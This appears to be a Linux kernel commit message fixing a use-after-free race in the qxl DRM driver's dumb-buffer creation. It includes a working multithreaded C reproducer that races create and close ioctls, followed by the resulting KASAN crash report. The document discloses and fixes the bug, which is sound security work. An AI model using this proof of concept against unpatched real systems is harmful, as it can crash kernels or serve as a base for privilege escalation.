• Wander Lairson Costa's avatar
    drm/qxl: fix UAF on handle creation · c611589b
    Wander Lairson Costa authored
    qxl_mode_dumb_create() dereferences the qobj returned by
    qxl_gem_object_create_with_handle(), but the handle is the only one
    holding a reference to it.
    
    A potential attacker could guess the returned handle value and closes it
    between the return of qxl_gem_object_create_with_handle() and the qobj
    usage, triggering a use-after-free scenario.
    
    Reproducer:
    
    int dri_fd =-1;
    struct drm_mode_create_dumb arg = {0};
    
    void gem_close(int handle);
    
    void* trigger(void* ptr)
    {
    	int ret;
    	arg.width = arg.height = 0x20;
    	arg.bpp = 32;
    	ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
    	if(ret)
    	{
    		perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
    		exit(-1);
    	}
    	gem_close(arg.handle);
    	while(1) {
    		struct drm_mode_create_dumb args = {0};
    		args.width = args.height = 0x20;
    		args.bpp = 32;
    		ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
    		if (ret) {
    			perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
    			exit(-1);
    		}
    
    		printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
    		gem_close(args.handle);
    	}
    	return NULL;
    }
    
    void gem_close(int handle)
    {
    	struct drm_gem_close args;
    	args.handle = handle;
    	int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
    	if (!ret)
    		printf("gem close handle %d\n", args.handle);
    }
    
    int main(void)
    {
    	dri_fd= open("/dev/dri/card0", O_RDWR);
    	printf("fd:%d\n", dri_fd);
    
    	if(dri_fd == -1)
    		return -1;
    
    	pthread_t tid1;
    
    	if(pthread_create(&tid1,NULL,trigger,NULL)){
    		perror("[*] thread_create tid1\n");
    		return -1;
    	}
    	while (1)
    	{
    		gem_close(arg.handle);
    	}
    	return 0;
    }
    
    This is a KASAN report:
    
    ==================================================================
    BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
    Write of size 1 at addr ffff88801136c240 by task poc/515
    
    CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
    Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
    Call Trace:
    <TASK>
    __dump_stack linux/lib/dump_stack.c:88
    dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
    print_address_description linux/mm/kasan/report.c:319
    print_report+0xd2/0x660 linux/mm/kasan/report.c:430
    kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
    __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
    qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
    drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
    drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
    drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
    drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
    vfs_ioctl linux/fs/ioctl.c:51
    __do_sys_ioctl linux/fs/ioctl.c:870
    __se_sys_ioctl linux/fs/ioctl.c:856
    __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
    do_syscall_x64 linux/arch/x86/entry/common.c:50
    do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
    entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
    RIP: 0033:0x7ff5004ff5f7
    Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48
    
    RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
    RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
    RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
    RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
    R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
    R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
    </TASK>
    
    Allocated by task 515:
    kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
    kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
    kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
    ____kasan_kmalloc linux/mm/kasan/common.c:374
    __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
    kasan_kmalloc linux/./include/linux/kasan.h:196
    kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
    kmalloc linux/./include/linux/slab.h:580
    kzalloc linux/./include/linux/slab.h:720
    qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
    qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
    qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
    qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
    drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
    drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
    drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
    drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
    vfs_ioctl linux/fs/ioctl.c:51
    __do_sys_ioctl linux/fs/ioctl.c:870
    __se_sys_ioctl linux/fs/ioctl.c:856
    __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
    do_syscall_x64 linux/arch/x86/entry/common.c:50
    do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
    entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
    
    Freed by task 515:
    kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
    kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
    kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
    ____kasan_slab_free linux/mm/kasan/common.c:236
    ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
    __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
    kasan_slab_free linux/./include/linux/kasan.h:162
    slab_free_hook linux/mm/slub.c:1781
    slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
    slab_free linux/mm/slub.c:3787
    __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
    kfree+0x78/0x120 linux/mm/slab_common.c:1019
    qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
    ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
    kref_put linux/./include/linux/kref.h:65
    ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
    qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
    drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
    kref_put linux/./include/linux/kref.h:65
    __drm_gem_object_put linux/./include/drm/drm_gem.h:431
    drm_gem_object_put linux/./include/drm/drm_gem.h:444
    qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
    qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
    drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
    drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
    drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
    drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
    vfs_ioctl linux/fs/ioctl.c:51
    __do_sys_ioctl linux/fs/ioctl.c:870
    __se_sys_ioctl linux/fs/ioctl.c:856
    __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
    do_syscall_x64 linux/arch/x86/entry/common.c:50
    do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
    entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
    
    The buggy address belongs to the object at ffff88801136c000
    which belongs to the cache kmalloc-1k of size 1024
    The buggy address is located 576 bytes inside of
    freed 1024-byte region [ffff88801136c000, ffff88801136c400)
    
    The buggy address belongs to the physical page:
    page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
    head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
    flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
    raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
    raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
    page dumped because: kasan: bad access detected
    
    Memory state around the buggy address:
    ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    ^
    ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
    ==================================================================
    Disabling lock debugging due to kernel taint
    
    Instead of returning a weak reference to the qxl_bo object, return the
    created drm_gem_object and let the caller decrement the reference count
    when it no longer needs it. As a convenience, if the caller is not
    interested in the gobj object, it can pass NULL to the parameter and the
    reference counting is descremented internally.
    
    The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).
    
    Link: https://www.zerodayinitiative.com/Signed-off-by: default avatarWander Lairson Costa <wander@redhat.com>
    Cc: stable@vger.kernel.org
    Reviewed-by: default avatarDave Airlie <airlied@redhat.com>
    Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
    Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com
    c611589b
qxl_ioctl.c 10.8 KB